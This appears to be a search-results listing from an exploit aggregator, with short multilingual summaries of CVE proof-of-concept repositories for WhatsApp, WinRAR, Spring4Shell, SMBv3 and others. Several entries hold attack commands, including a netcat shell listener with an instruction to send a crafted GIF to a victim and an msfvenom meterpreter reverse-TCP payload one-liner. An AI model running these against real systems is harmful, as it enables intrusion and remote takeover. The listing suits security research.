228489 matches found
CVE-2019-11932
CVE-2019-11932 WhatsApp 中双重释放漏洞的利用 poc. 注意:请确保在 exploit.c 中设置监听 IP 以便获取 shell nc -lvp 5555 或任意端口. 然后编译. gcc -o exploit egiflib.c exploit.c 然后运行 ./exploit 并将内容保存到 .gif 并发送给受害者. 来源 https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/. PocVideo...
CVE-2023-38831
CVE-2023-38831 winrar 漏洞利用 6.22 = 快速 PoC root@kitploit: git clone https://github.com/nhman-python/CVE-2023-38831.git cd cd CVE-2023-38831 python3 poc.py poc 使用示例 root@kitploit: python3 simplefile.txt script.bat output.zip 使用示例 https://www.youtube.com/watch?v=-mN4tTKaMhQ...
CVE-2021-24019
CVE-2021-24019 利用 FortiClient EMS 6.2.6 - 身份验证绕过利用 概述 此脚本自动化了会话令牌验证过程,用于测试在FortiClient EMS 6.2.6中是否可以绕过身份验证。用户提供目标,脚本检查一系列会话令牌以获取有效访问。 使用说明 1. 用会话令牌更新tokens.txt。示例: csrftoken=example123... sessionid=abcdef123... 2. 运行脚本: python exploit.py 3. 在提示时输入目标URL。 4. 如果找到有效令牌,则授予访问权限。 法律免责声明...
spring4shell-exploit-poc
Spring4Shell Exploit POC Nutzen Sie eine Spring-Anwendung aus, die anfällig für die Spring4Shell-Schwachstelle ist. Mehr über Spring4Shell erfahren Sie in unserem Blog. Verwendung Voraussetzungen: Docker und docker-compose root@kitploit: $ ./exploit.sh Verwundbare Spring-Anwendung Die verwundbare...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector Remote-Code-Ausführung: Proof-of-Concept POC Verwendung: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
POC-CVE-2025-68613
POC-CVE-2025-68613 Mein POC zur Ausnutzung dieser Schwachstelle :D...
PHPunit-Exploit
PHPunit Exploiter + Checker CVE-2017-9841 Übersicht : PHPUnit ist ein Unit-Test-Framework für die Programmiersprache PHP. Dies ist eine beispielhafte xUnit-Architektur für ein Unit-Testing-Framework, das seinen Ursprung in SUnit hat und mit JUnit populär wurde. PHPUnit wurde von Sebastian Bergman...
nexts-cve-2025-66478-exploit
Dies ist ein Next.js Projekt, das mit create-next-app erstellt wurde. Erste Schritte Starte zuerst den Entwicklungsserver: root@kitploit: npm run dev or yarn dev or pnpm dev or bun dev Öffne http://localhost:3000 mit deinem Browser, um das Ergebnis zu sehen. Du kannst mit der Bearbeitung der Seit...
ms09-050_CVE-2009-3103
ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Einzeiler zum Erstellen/Generieren eines Payloads für Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars "\x00" --encoder x86/shikataganai --iterations 10 --format exe --out...
ulteriusExploit
ulteriusExploit Exploit em Python para CVE-2017-16806 Exploit de directory traversal Acesso Arbitrário a Arquivos para Ulterius Server 1.9.5.0 Por Rick Osgood CVE-2017-16806...
CVE-2020-0683
CVE-2020-0683 Poc original envoyé à MSRC. Attribué à CVE-2020-0683 - Élévation de privilège de Windows Installer https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683 Code source pour Visual Studio C++ 2017 Veuillez lire le PDF qui décrit toutes les découvertes et les...
CVE-2020-0796-EXP
CVE-2020-0796-EXP Windows SMBv3 LPE 익스플로잇 작성자 NewYork @LabDookhtegan 다운로드 CVE-2020-0796-EXP 사용법 CVE-2020-0796-EXP.exe -ip xx.xx.xx.xx -cmd "whoami"...
CVE-2024-40431-CVE-2022-25479-EOP-CHAIN
CVE-2024-40431+CVE-2022-25479 Kette für EOPDATEN-ONLY-ANGRIFF Ein weiser Mann sagte einmal: „Die Miete ist verdammt hoch“ und „Ehre, wem Ehre gebührt“. Ein besonderer Dank geht an https://x.com/zwclose für das Finden und Veröffentlichen eines PoCs für diese 2 Fehler. Wirreubensammut und vladnachd...
ivanti-automationmanager-exploit
PoC für CVE-2022-44569 für Ivanti Automation Manager, es dauerte mehr als ein Jahr, bis Ivanti einen Fix bereitstellte. Ivanti teilte mir mit, dass es in Ivanti Automation 2023.4 behoben ist...
CVE-2026-22812
CVE-2026-22812 Überblick Ein Python-Exploitationstool für die OpenCode Remote Code Execution RCE-Schwachstelle, die Versionen v1.0.216 betrifft. Dieses Tool bietet mehrere Angriffsvektoren, darunter Befehlsausführung, Datei-Lesen/-Schreiben, Datei-Upload/-Download und eine interaktive Shell...
CVE-2026-43499
CVE-2026-43499 Eine modifizierte Methode zum Rooten eines Android-Geräts mit gesperrtem Bootloader mittels eines neuen Exploits. Nur für Samsung oder ähnliche Geräte, da ich es auf N970U1 portiert habe, Fork von https://github.com/localhosts-A/CyberMeowfia...
CVE-2017-5638
CVE-2017-5638 CVE: 2017-5638 em diferentes formatos A maioria exigirá que você insira a url e talvez queira alterar o comando Por favor, envie pull requests se puder fazer com que seja possível inserir uma url e comando! PHP - Exemplo http://localhost/2017-5638.php?url=TARGET&cmd=command...
CVE-2022-31269
CVE-2022-31269 Nortek Control Linear eMerge E3-Series Vazamento de Informações Argumentos Opcionais: -h, --help mostra esta mensagem de ajuda e sai -u url, --url url URL alvo ex:"http://127.0.0.1" -f file, --file file Alvos em arquivo ex:"ip.txt" Uso python3 CVE-2022-31269.py -u http://127.0.0.1...